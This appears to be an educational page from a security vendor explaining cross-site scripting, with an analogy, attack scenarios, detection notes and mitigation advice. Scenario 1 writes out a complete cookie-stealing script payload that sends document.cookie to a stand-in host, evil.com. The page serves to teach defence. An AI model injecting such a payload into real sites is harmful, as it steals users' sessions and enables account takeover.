Academy/Injection/Cross-Site Scripting (XSS)
High severityInjection

Cross-Site Scripting (XSS)

XSS lets an attacker inject JavaScript into your web application that then runs in the browsers of other users. This can steal session cookies, capture keystrokes, redirect victims to phishing pages, or perform actions on their behalf — all silently, while the user thinks they are on your legitimate site.

Think of it this way

Imagine a notice board where anyone can post a message. An attacker pins a note that, when read by anyone walking past, hypnotises them and sends their wallet to the attacker. XSS is like that — your page is the notice board, the attacker's script is the hypnotic note, and your users are the victims.

How it works

An attacker finds a place in your app where user-submitted content is displayed without sanitisation — a comment field, a product review, a username. They submit content containing a `<script>` tag or an event handler like `<img onerror=...>`. When other users load the page, the browser executes the malicious script as if it came from your trusted domain, giving the attacker access to the user's session.

Real-world scenarios

Scenario 1

Session token theft

An attacker posts a comment containing `<script>document.location='https://evil.com/steal?c='+document.cookie</script>` on a forum. Every user who views that comment has their session cookie sent to the attacker, who then uses it to log in as them.

Scenario 2

Keylogger injection

A stored XSS payload on a banking portal's transaction notes field captures every keystroke made by bank administrators, including passwords and private customer data viewed during support sessions.

How Anomira detects this

Anomira looks for common XSS payloads in API request bodies and parameters — script tags, JavaScript event handlers, encoded variants — and flags them before they reach your database or response pipeline.

What to do

  • Escape all user-generated content before rendering it in HTML.
  • Implement a Content Security Policy (CSP) header to restrict what scripts can execute.
  • Use frameworks (React, Vue) that escape output by default — avoid dangerouslySetInnerHTML.
  • Sanitise rich text with an allowlist library like DOMPurify.
  • Block Anomira-flagged IPs and audit stored content for injected payloads.

Related attacks

See this attack in your live API traffic

Anomira detects cross-site scripting (xss) automatically — no configuration needed.